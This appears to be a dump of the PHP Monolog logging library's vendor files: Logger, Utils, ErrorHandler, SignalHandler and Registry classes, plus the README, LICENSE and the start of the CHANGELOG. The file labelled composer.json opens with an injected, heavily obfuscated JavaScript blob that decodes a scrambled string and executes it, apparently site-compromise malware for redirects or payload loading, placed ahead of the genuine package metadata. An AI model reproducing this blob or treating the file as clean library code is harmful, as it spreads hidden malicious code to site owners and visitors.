(defined(__CLASS__.'::'.$upper)) { return constant(__CLASS__ . '::' . $upper); } throw new InvalidArgumentException('Level "'.$level.'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } if (!is_int($level)) { throw new InvalidArgumentException('Level "'.var_export($level, true).'" is not defined, use one of: '.implode(', ', array_keys(static::$levels))); } return $level; } /** * Checks whether the Logger has a handler that listens on the given level */ public function isHandling(int $level): bool { $record = [ 'level' => $level, ]; foreach ($this->handlers as $handler) { if ($handler->isHandling($record)) { return true; } } return false; } /** * Set a custom exception handler that will be called if adding a new record fails * * The callable will receive an exception object and the record that failed to be logged */ public function setExceptionHandler(?callable $callback): self { $this->exceptionHandler = $callback; return $this; } public function getExceptionHandler(): ?callable { return $this->exceptionHandler; } /** * Adds a log record at an arbitrary level. * * This method allows for compatibility with common interfaces. * * @param mixed $level The log level * @param string $message The log message * @param mixed[] $context The log context */ public function log($level, $message, array $context = []): void { $level = static::toMonologLevel($level); $this->addRecord($level, (string) $message, $context); } /** * Adds a log record at the DEBUG level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function debug($message, array $context = []): void { $this->addRecord(static::DEBUG, (string) $message, $context); } /** * Adds a log record at the INFO level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function info($message, array $context = []): void { $this->addRecord(static::INFO, (string) $message, $context); } /** * Adds a log record at the NOTICE level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function notice($message, array $context = []): void { $this->addRecord(static::NOTICE, (string) $message, $context); } /** * Adds a log record at the WARNING level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function warning($message, array $context = []): void { $this->addRecord(static::WARNING, (string) $message, $context); } /** * Adds a log record at the ERROR level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function error($message, array $context = []): void { $this->addRecord(static::ERROR, (string) $message, $context); } /** * Adds a log record at the CRITICAL level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function critical($message, array $context = []): void { $this->addRecord(static::CRITICAL, (string) $message, $context); } /** * Adds a log record at the ALERT level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function alert($message, array $context = []): void { $this->addRecord(static::ALERT, (string) $message, $context); } /** * Adds a log record at the EMERGENCY level. * * This method allows for compatibility with common interfaces. * * @param string $message The log message * @param mixed[] $context The log context */ public function emergency($message, array $context = []): void { $this->addRecord(static::EMERGENCY, (string) $message, $context); } /** * Sets the timezone to be used for the timestamp of log records. */ public function setTimezone(DateTimeZone $tz): self { $this->timezone = $tz; return $this; } /** * Returns the timezone to be used for the timestamp of log records. */ public function getTimezone(): DateTimeZone { return $this->timezone; } /** * Delegates exception management to the custom exception handler, * or throws the exception if no custom handler is set. */ protected function handleException(Throwable $e, array $record): void { if (!$this->exceptionHandler) { throw $e; } ($this->exceptionHandler)($e, $record); } } vendor/monolog/monolog/src/Monolog/Utils.php000064400000015555147600277620015225 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; final class Utils { const DEFAULT_JSON_FLAGS = JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION | JSON_INVALID_UTF8_SUBSTITUTE | JSON_PARTIAL_OUTPUT_ON_ERROR; public static function getClass(object $object): string { $class = \get_class($object); return 'c' === $class[0] && 0 === strpos($class, "class@anonymous\0") ? get_parent_class($class).'@anonymous' : $class; } public static function substr(string $string, int $start, ?int $length = null): string { if (extension_loaded('mbstring')) { return mb_strcut($string, $start, $length); } return substr($string, $start, (null === $length) ? strlen($string) : $length); } /** * Makes sure if a relative path is passed in it is turned into an absolute path * * @param string $streamUrl stream URL or path without protocol */ public static function canonicalizePath(string $streamUrl): string { $prefix = ''; if ('file://' === substr($streamUrl, 0, 7)) { $streamUrl = substr($streamUrl, 7); $prefix = 'file://'; } // other type of stream, not supported if (false !== strpos($streamUrl, '://')) { return $streamUrl; } // already absolute if (substr($streamUrl, 0, 1) === '/' || substr($streamUrl, 1, 1) === ':' || substr($streamUrl, 0, 2) === '\\\\') { return $prefix.$streamUrl; } $streamUrl = getcwd() . '/' . $streamUrl; return $prefix.$streamUrl; } /** * Return the JSON representation of a value * * @param mixed $data * @param int $encodeFlags flags to pass to json encode, defaults to DEFAULT_JSON_FLAGS * @param bool $ignoreErrors whether to ignore encoding errors or to throw on error, when ignored and the encoding fails, "null" is returned which is valid json for null * @throws \RuntimeException if encoding fails and errors are not ignored * @return string when errors are ignored and the encoding fails, "null" is returned which is valid json for null */ public static function jsonEncode($data, ?int $encodeFlags = null, bool $ignoreErrors = false): string { if (null === $encodeFlags) { $encodeFlags = self::DEFAULT_JSON_FLAGS; } if ($ignoreErrors) { $json = @json_encode($data, $encodeFlags); if (false === $json) { return 'null'; } return $json; } $json = json_encode($data, $encodeFlags); if (false === $json) { $json = self::handleJsonError(json_last_error(), $data); } return $json; } /** * Handle a json_encode failure. * * If the failure is due to invalid string encoding, try to clean the * input and encode again. If the second encoding attempt fails, the * initial error is not encoding related or the input can't be cleaned then * raise a descriptive exception. * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @param int $encodeFlags flags to pass to json encode, defaults to JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRESERVE_ZERO_FRACTION * @throws \RuntimeException if failure can't be corrected * @return string JSON encoded data after error correction */ public static function handleJsonError(int $code, $data, ?int $encodeFlags = null): string { if ($code !== JSON_ERROR_UTF8) { self::throwEncodeError($code, $data); } if (is_string($data)) { self::detectAndCleanUtf8($data); } elseif (is_array($data)) { array_walk_recursive($data, array('Monolog\Utils', 'detectAndCleanUtf8')); } else { self::throwEncodeError($code, $data); } if (null === $encodeFlags) { $encodeFlags = self::DEFAULT_JSON_FLAGS; } $json = json_encode($data, $encodeFlags); if ($json === false) { self::throwEncodeError(json_last_error(), $data); } return $json; } /** * Throws an exception according to a given code with a customized message * * @param int $code return code of json_last_error function * @param mixed $data data that was meant to be encoded * @throws \RuntimeException */ private static function throwEncodeError(int $code, $data): void { switch ($code) { case JSON_ERROR_DEPTH: $msg = 'Maximum stack depth exceeded'; break; case JSON_ERROR_STATE_MISMATCH: $msg = 'Underflow or the modes mismatch'; break; case JSON_ERROR_CTRL_CHAR: $msg = 'Unexpected control character found'; break; case JSON_ERROR_UTF8: $msg = 'Malformed UTF-8 characters, possibly incorrectly encoded'; break; default: $msg = 'Unknown error'; } throw new \RuntimeException('JSON encoding failed: '.$msg.'. Encoding: '.var_export($data, true)); } /** * Detect invalid UTF-8 string characters and convert to valid UTF-8. * * Valid UTF-8 input will be left unmodified, but strings containing * invalid UTF-8 codepoints will be reencoded as UTF-8 with an assumed * original encoding of ISO-8859-15. This conversion may result in * incorrect output if the actual encoding was not ISO-8859-15, but it * will be clean UTF-8 output and will not rely on expensive and fragile * detection algorithms. * * Function converts the input in place in the passed variable so that it * can be used as a callback for array_walk_recursive. * * @param mixed $data Input to check and convert if needed, passed by ref */ private static function detectAndCleanUtf8(&$data): void { if (is_string($data) && !preg_match('//u', $data)) { $data = preg_replace_callback( '/[\x80-\xFF]+/', function ($m) { return utf8_encode($m[0]); }, $data ); $data = str_replace( ['¤', '¦', '¨', '´', '¸', '¼', '½', '¾'], ['€', 'Š', 'š', 'Ž', 'ž', 'Œ', 'œ', 'Ÿ'], $data ); } } } vendor/monolog/monolog/src/Monolog/ErrorHandler.php000064400000022043147600277620016502 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; /** * Monolog error handler * * A facility to enable logging of runtime errors, exceptions and fatal errors. * * Quick setup: ErrorHandler::register($logger); * * @author Jordi Boggiano */ class ErrorHandler { private $logger; private $previousExceptionHandler; private $uncaughtExceptionLevelMap; private $previousErrorHandler; private $errorLevelMap; private $handleOnlyReportedErrors; private $hasFatalErrorHandler; private $fatalLevel; private $reservedMemory; private $lastFatalTrace; private static $fatalErrors = [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR]; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } /** * Registers a new ErrorHandler for a given Logger * * By default it will handle errors, exceptions and fatal errors * * @param LoggerInterface $logger * @param array|false $errorLevelMap an array of E_* constant to LogLevel::* constant mapping, or false to disable error handling * @param array|false $exceptionLevelMap an array of class name to LogLevel::* constant mapping, or false to disable exception handling * @param string|null|false $fatalLevel a LogLevel::* constant, null to use the default LogLevel::ALERT or false to disable fatal error handling * @return ErrorHandler */ public static function register(LoggerInterface $logger, $errorLevelMap = [], $exceptionLevelMap = [], $fatalLevel = null): self { /** @phpstan-ignore-next-line */ $handler = new static($logger); if ($errorLevelMap !== false) { $handler->registerErrorHandler($errorLevelMap); } if ($exceptionLevelMap !== false) { $handler->registerExceptionHandler($exceptionLevelMap); } if ($fatalLevel !== false) { $handler->registerFatalHandler($fatalLevel); } return $handler; } public function registerExceptionHandler($levelMap = [], $callPrevious = true): self { $prev = set_exception_handler(function (\Throwable $e): void { $this->handleException($e); }); $this->uncaughtExceptionLevelMap = $levelMap; foreach ($this->defaultExceptionLevelMap() as $class => $level) { if (!isset($this->uncaughtExceptionLevelMap[$class])) { $this->uncaughtExceptionLevelMap[$class] = $level; } } if ($callPrevious && $prev) { $this->previousExceptionHandler = $prev; } return $this; } public function registerErrorHandler(array $levelMap = [], $callPrevious = true, $errorTypes = -1, $handleOnlyReportedErrors = true): self { $prev = set_error_handler([$this, 'handleError'], $errorTypes); $this->errorLevelMap = array_replace($this->defaultErrorLevelMap(), $levelMap); if ($callPrevious) { $this->previousErrorHandler = $prev ?: true; } $this->handleOnlyReportedErrors = $handleOnlyReportedErrors; return $this; } /** * @param string|null $level a LogLevel::* constant, null to use the default LogLevel::ALERT or false to disable fatal error handling * @param int $reservedMemorySize Amount of KBs to reserve in memory so that it can be freed when handling fatal errors giving Monolog some room in memory to get its job done */ public function registerFatalHandler($level = null, int $reservedMemorySize = 20): self { register_shutdown_function([$this, 'handleFatalError']); $this->reservedMemory = str_repeat(' ', 1024 * $reservedMemorySize); $this->fatalLevel = $level; $this->hasFatalErrorHandler = true; return $this; } protected function defaultExceptionLevelMap(): array { return [ 'ParseError' => LogLevel::CRITICAL, 'Throwable' => LogLevel::ERROR, ]; } protected function defaultErrorLevelMap(): array { return [ E_ERROR => LogLevel::CRITICAL, E_WARNING => LogLevel::WARNING, E_PARSE => LogLevel::ALERT, E_NOTICE => LogLevel::NOTICE, E_CORE_ERROR => LogLevel::CRITICAL, E_CORE_WARNING => LogLevel::WARNING, E_COMPILE_ERROR => LogLevel::ALERT, E_COMPILE_WARNING => LogLevel::WARNING, E_USER_ERROR => LogLevel::ERROR, E_USER_WARNING => LogLevel::WARNING, E_USER_NOTICE => LogLevel::NOTICE, E_STRICT => LogLevel::NOTICE, E_RECOVERABLE_ERROR => LogLevel::ERROR, E_DEPRECATED => LogLevel::NOTICE, E_USER_DEPRECATED => LogLevel::NOTICE, ]; } private function handleException(\Throwable $e) { $level = LogLevel::ERROR; foreach ($this->uncaughtExceptionLevelMap as $class => $candidate) { if ($e instanceof $class) { $level = $candidate; break; } } $this->logger->log( $level, sprintf('Uncaught Exception %s: "%s" at %s line %s', Utils::getClass($e), $e->getMessage(), $e->getFile(), $e->getLine()), ['exception' => $e] ); if ($this->previousExceptionHandler) { ($this->previousExceptionHandler)($e); } if (!headers_sent() && !ini_get('display_errors')) { http_response_code(500); } exit(255); } /** * @private */ public function handleError($code, $message, $file = '', $line = 0, $context = []) { if ($this->handleOnlyReportedErrors && !(error_reporting() & $code)) { return; } // fatal error codes are ignored if a fatal error handler is present as well to avoid duplicate log entries if (!$this->hasFatalErrorHandler || !in_array($code, self::$fatalErrors, true)) { $level = $this->errorLevelMap[$code] ?? LogLevel::CRITICAL; $this->logger->log($level, self::codeToString($code).': '.$message, ['code' => $code, 'message' => $message, 'file' => $file, 'line' => $line]); } else { $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); array_shift($trace); // Exclude handleError from trace $this->lastFatalTrace = $trace; } if ($this->previousErrorHandler === true) { return false; } elseif ($this->previousErrorHandler) { return ($this->previousErrorHandler)($code, $message, $file, $line, $context); } return true; } /** * @private */ public function handleFatalError() { $this->reservedMemory = ''; $lastError = error_get_last(); if ($lastError && in_array($lastError['type'], self::$fatalErrors, true)) { $this->logger->log( $this->fatalLevel === null ? LogLevel::ALERT : $this->fatalLevel, 'Fatal Error ('.self::codeToString($lastError['type']).'): '.$lastError['message'], ['code' => $lastError['type'], 'message' => $lastError['message'], 'file' => $lastError['file'], 'line' => $lastError['line'], 'trace' => $this->lastFatalTrace] ); if ($this->logger instanceof Logger) { foreach ($this->logger->getHandlers() as $handler) { $handler->close(); } } } } private static function codeToString($code): string { switch ($code) { case E_ERROR: return 'E_ERROR'; case E_WARNING: return 'E_WARNING'; case E_PARSE: return 'E_PARSE'; case E_NOTICE: return 'E_NOTICE'; case E_CORE_ERROR: return 'E_CORE_ERROR'; case E_CORE_WARNING: return 'E_CORE_WARNING'; case E_COMPILE_ERROR: return 'E_COMPILE_ERROR'; case E_COMPILE_WARNING: return 'E_COMPILE_WARNING'; case E_USER_ERROR: return 'E_USER_ERROR'; case E_USER_WARNING: return 'E_USER_WARNING'; case E_USER_NOTICE: return 'E_USER_NOTICE'; case E_STRICT: return 'E_STRICT'; case E_RECOVERABLE_ERROR: return 'E_RECOVERABLE_ERROR'; case E_DEPRECATED: return 'E_DEPRECATED'; case E_USER_DEPRECATED: return 'E_USER_DEPRECATED'; } return 'Unknown PHP error'; } } vendor/monolog/monolog/src/Monolog/DateTimeImmutable.php000064400000002075147600277620017452 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use DateTimeZone; /** * Overrides default json encoding of date time objects * * @author Menno Holtkamp * @author Jordi Boggiano */ class DateTimeImmutable extends \DateTimeImmutable implements \JsonSerializable { /** * @var bool */ private $useMicroseconds; public function __construct(bool $useMicroseconds, ?DateTimeZone $timezone = null) { $this->useMicroseconds = $useMicroseconds; parent::__construct('now', $timezone); } public function jsonSerialize(): string { if ($this->useMicroseconds) { return $this->format('Y-m-d\TH:i:s.uP'); } return $this->format('Y-m-d\TH:i:sP'); } public function __toString(): string { return $this->jsonSerialize(); } } vendor/monolog/monolog/src/Monolog/SignalHandler.php000064400000006562147600277620016636 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use ReflectionExtension; /** * Monolog POSIX signal handler * * @author Robert Gust-Bardon */ class SignalHandler { private $logger; private $previousSignalHandler = []; private $signalLevelMap = []; private $signalRestartSyscalls = []; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } public function registerSignalHandler($signo, $level = LogLevel::CRITICAL, bool $callPrevious = true, bool $restartSyscalls = true, ?bool $async = true): self { if (!extension_loaded('pcntl') || !function_exists('pcntl_signal')) { return $this; } if ($callPrevious) { $handler = pcntl_signal_get_handler($signo); $this->previousSignalHandler[$signo] = $handler; } else { unset($this->previousSignalHandler[$signo]); } $this->signalLevelMap[$signo] = $level; $this->signalRestartSyscalls[$signo] = $restartSyscalls; if ($async !== null) { pcntl_async_signals($async); } pcntl_signal($signo, [$this, 'handleSignal'], $restartSyscalls); return $this; } public function handleSignal($signo, array $siginfo = null): void { static $signals = []; if (!$signals && extension_loaded('pcntl')) { $pcntl = new ReflectionExtension('pcntl'); // HHVM 3.24.2 returns an empty array. foreach ($pcntl->getConstants() ?: get_defined_constants(true)['Core'] as $name => $value) { if (substr($name, 0, 3) === 'SIG' && $name[3] !== '_' && is_int($value)) { $signals[$value] = $name; } } } $level = $this->signalLevelMap[$signo] ?? LogLevel::CRITICAL; $signal = $signals[$signo] ?? $signo; $context = $siginfo ?? []; $this->logger->log($level, sprintf('Program received signal %s', $signal), $context); if (!isset($this->previousSignalHandler[$signo])) { return; } if ($this->previousSignalHandler[$signo] === true || $this->previousSignalHandler[$signo] === SIG_DFL) { if (extension_loaded('pcntl') && function_exists('pcntl_signal') && function_exists('pcntl_sigprocmask') && function_exists('pcntl_signal_dispatch') && extension_loaded('posix') && function_exists('posix_getpid') && function_exists('posix_kill') ) { $restartSyscalls = $this->signalRestartSyscalls[$signo] ?? true; pcntl_signal($signo, SIG_DFL, $restartSyscalls); pcntl_sigprocmask(SIG_UNBLOCK, [$signo], $oldset); posix_kill(posix_getpid(), $signo); pcntl_signal_dispatch(); pcntl_sigprocmask(SIG_SETMASK, $oldset); pcntl_signal($signo, [$this, 'handleSignal'], $restartSyscalls); } } elseif (is_callable($this->previousSignalHandler[$signo])) { $this->previousSignalHandler[$signo]($signo, $siginfo); } } } vendor/monolog/monolog/src/Monolog/ResettableInterface.php000064400000001754147600277620020034 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; /** * Handler or Processor implementing this interface will be reset when Logger::reset() is called. * * Resetting ends a log cycle gets them back to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. * * @author Grégoire Pineau */ interface ResettableInterface { /** * @return void */ public function reset(); } vendor/monolog/monolog/src/Monolog/Registry.php000064400000007616147600277620015734 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use InvalidArgumentException; /** * Monolog log registry * * Allows to get `Logger` instances in the global scope * via static method calls on this class. * * * $application = new Monolog\Logger('application'); * $api = new Monolog\Logger('api'); * * Monolog\Registry::addLogger($application); * Monolog\Registry::addLogger($api); * * function testLogger() * { * Monolog\Registry::api()->error('Sent to $api Logger instance'); * Monolog\Registry::application()->error('Sent to $application Logger instance'); * } * * * @author Tomas Tatarko */ class Registry { /** * List of all loggers in the registry (by named indexes) * * @var Logger[] */ private static $loggers = []; /** * Adds new logging channel to the registry * * @param Logger $logger Instance of the logging channel * @param string|null $name Name of the logging channel ($logger->getName() by default) * @param bool $overwrite Overwrite instance in the registry if the given name already exists? * @throws \InvalidArgumentException If $overwrite set to false and named Logger instance already exists */ public static function addLogger(Logger $logger, ?string $name = null, bool $overwrite = false) { $name = $name ?: $logger->getName(); if (isset(self::$loggers[$name]) && !$overwrite) { throw new InvalidArgumentException('Logger with the given name already exists'); } self::$loggers[$name] = $logger; } /** * Checks if such logging channel exists by name or instance * * @param string|Logger $logger Name or logger instance */ public static function hasLogger($logger): bool { if ($logger instanceof Logger) { $index = array_search($logger, self::$loggers, true); return false !== $index; } return isset(self::$loggers[$logger]); } /** * Removes instance from registry by name or instance * * @param string|Logger $logger Name or logger instance */ public static function removeLogger($logger): void { if ($logger instanceof Logger) { if (false !== ($idx = array_search($logger, self::$loggers, true))) { unset(self::$loggers[$idx]); } } else { unset(self::$loggers[$logger]); } } /** * Clears the registry */ public static function clear(): void { self::$loggers = []; } /** * Gets Logger instance from the registry * * @param string $name Name of the requested Logger instance * @throws \InvalidArgumentException If named Logger instance is not in the registry */ public static function getInstance($name): Logger { if (!isset(self::$loggers[$name])) { throw new InvalidArgumentException(sprintf('Requested "%s" logger instance is not in the registry', $name)); } return self::$loggers[$name]; } /** * Gets Logger instance from the registry via static method call * * @param string $name Name of the requested Logger instance * @param array $arguments Arguments passed to static method call * @throws \InvalidArgumentException If named Logger instance is not in the registry * @return Logger Requested instance of Logger */ public static function __callStatic($name, $arguments) { return self::getInstance($name); } } vendor/monolog/monolog/README.md000064400000012174147600277620012464 0ustar00# Monolog - Logging for PHP [![Build Status](https://travis-ci.org/Seldaek/monolog.svg?branch=master)](https://travis-ci.org/Seldaek/monolog) [![Total Downloads](https://img.shields.io/packagist/dt/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) [![Latest Stable Version](https://img.shields.io/packagist/v/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) Monolog sends your logs to files, sockets, inboxes, databases and various web services. See the complete list of handlers below. Special handlers allow you to build advanced logging strategies. This library implements the [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) interface that you can type-hint against in your own libraries to keep a maximum of interoperability. You can also use it in your applications to make sure you can always use another compatible logger at a later time. As of 1.11.0 Monolog public APIs will also accept PSR-3 log levels. Internally Monolog still uses its own level scheme since it predates PSR-3. ## Installation Install the latest version with ```bash $ composer require monolog/monolog ``` ## Basic Usage ```php pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING)); // add records to the log $log->warning('Foo'); $log->error('Bar'); ``` ## Documentation - [Usage Instructions](doc/01-usage.md) - [Handlers, Formatters and Processors](doc/02-handlers-formatters-processors.md) - [Utility Classes](doc/03-utilities.md) - [Extending Monolog](doc/04-extending.md) - [Log Record Structure](doc/message-structure.md) ## Support Monolog Financially Get supported Monolog and help fund the project with the [Tidelift Subscription](https://tidelift.com/subscription/pkg/packagist-monolog-monolog?utm_source=packagist-monolog-monolog&utm_medium=referral&utm_campaign=enterprise) or via [GitHub sponsorship](https://github.com/sponsors/Seldaek). Tidelift delivers commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. ## Third Party Packages Third party handlers, formatters and processors are [listed in the wiki](https://github.com/Seldaek/monolog/wiki/Third-Party-Packages). You can also add your own there if you publish one. ## About ### Requirements - Monolog `^2.0` works with PHP 7.2 or above, use Monolog `^1.25` for PHP 5.3+ support. ### Support Monolog 1.x support is somewhat limited at this point and only important fixes will be done. You should migrate to Monolog 2 where possible to benefit from all the latest features and fixes. ### Submitting bugs and feature requests Bugs and feature request are tracked on [GitHub](https://github.com/Seldaek/monolog/issues) ### Framework Integrations - Frameworks and libraries using [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) can be used very easily with Monolog since it implements the interface. - [Symfony](http://symfony.com) comes out of the box with Monolog. - [Laravel](http://laravel.com/) comes out of the box with Monolog. - [Lumen](http://lumen.laravel.com/) comes out of the box with Monolog. - [PPI](https://github.com/ppi/framework) comes out of the box with Monolog. - [CakePHP](http://cakephp.org/) is usable with Monolog via the [cakephp-monolog](https://github.com/jadb/cakephp-monolog) plugin. - [Slim](http://www.slimframework.com/) is usable with Monolog via the [Slim-Monolog](https://github.com/Flynsarmy/Slim-Monolog) log writer. - [XOOPS 2.6](http://xoops.org/) comes out of the box with Monolog. - [Aura.Web_Project](https://github.com/auraphp/Aura.Web_Project) comes out of the box with Monolog. - [Nette Framework](http://nette.org/en/) can be used with Monolog via [contributte/monolog](https://github.com/contributte/monolog) extension. - [Proton Micro Framework](https://github.com/alexbilbie/Proton) comes out of the box with Monolog. - [FuelPHP](http://fuelphp.com/) comes out of the box with Monolog. - [Equip Framework](https://github.com/equip/framework) comes out of the box with Monolog. - [Yii 2](http://www.yiiframework.com/) is usable with Monolog via the [yii2-monolog](https://github.com/merorafael/yii2-monolog) or [yii2-psr-log-target](https://github.com/samdark/yii2-psr-log-target) plugins. - [Hawkbit Micro Framework](https://github.com/HawkBitPhp/hawkbit) comes out of the box with Monolog. - [SilverStripe 4](https://www.silverstripe.org/) comes out of the box with Monolog. ### Author Jordi Boggiano - -
      See also the list of [contributors](https://github.com/Seldaek/monolog/contributors) who participated in this project. ### License Monolog is licensed under the MIT License - see the [LICENSE](LICENSE) file for details ### Acknowledgements This library is heavily inspired by Python's [Logbook](https://logbook.readthedocs.io/en/stable/) library, although most concepts have been adjusted to fit to the PHP world. vendor/monolog/monolog/LICENSE000064400000002047147600277620012210 0ustar00Copyright (c) 2011-2020 Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. vendor/monolog/monolog/composer.json000064400000013067147600277620013731 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "monolog/monolog", "description": "Sends your logs to files, sockets, inboxes, databases and various web services", "keywords": ["log", "logging", "psr-3"], "homepage": "https://github.com/Seldaek/monolog", "type": "library", "license": "MIT", "authors": [ { "name": "Jordi Boggiano", "email": "j.boggiano@seld.be", "homepage": "https://seld.be" } ], "require": { "php": ">=7.2", "psr/log": "^1.0.1" }, "require-dev": { "aws/aws-sdk-php": "^2.4.9 || ^3.0", "doctrine/couchdb": "~1.0@dev", "elasticsearch/elasticsearch": "^7", "mongodb/mongodb": "^1.8", "graylog2/gelf-php": "^1.4.2", "php-amqplib/php-amqplib": "~2.4", "php-console/php-console": "^3.1.3", "phpspec/prophecy": "^1.6.1", "phpunit/phpunit": "^8.5", "predis/predis": "^1.1", "rollbar/rollbar": "^1.3", "ruflin/elastica": ">=0.90 <7.0.1", "swiftmailer/swiftmailer": "^5.3|^6.0", "phpstan/phpstan": "^0.12.59" }, "suggest": { "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", "doctrine/couchdb": "Allow sending log messages to a CouchDB server", "ruflin/elastica": "Allow sending log messages to an Elastic Search server", "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client", "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)", "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", "rollbar/rollbar": "Allow sending log messages to Rollbar", "php-console/php-console": "Allow sending log messages to Google Chrome", "ext-mbstring": "Allow to work properly with unicode symbols" }, "autoload": { "psr-4": {"Monolog\\": "src/Monolog"} }, "autoload-dev": { "psr-4": {"Monolog\\": "tests/Monolog"} }, "provide": { "psr/log-implementation": "1.0.0" }, "extra": { "branch-alias": { "dev-main": "2.x-dev" } }, "scripts": { "test": "vendor/bin/phpunit", "phpstan": "vendor/bin/phpstan analyse" }, "config": { "sort-packages": true, "platform-check": false }, "lock": false } vendor/monolog/monolog/CHANGELOG.md000064400000077162147600277620013026 0ustar00### 2.2.0 (2020-12-14) * Added JSON_PARTIAL_OUTPUT_ON_ERROR to default json encoding flags, to avoid dropping entire context data or even records due to an invalid subset of it somewhere * Added setDateFormat to NormalizerFormatter (and Line/Json formatters by extension) to allow changing this after object creation * Added RedisPubSubHandler to log records to a Redis channel using PUBLISH * Added support for Elastica 7, and deprecated the $type argument of ElasticaFormatter which is not in use anymore as of Elastica 7 * Added support for millisecond write timeouts in SocketHandler, you can now pass floats to setWritingTimeout, e.g. 0.2 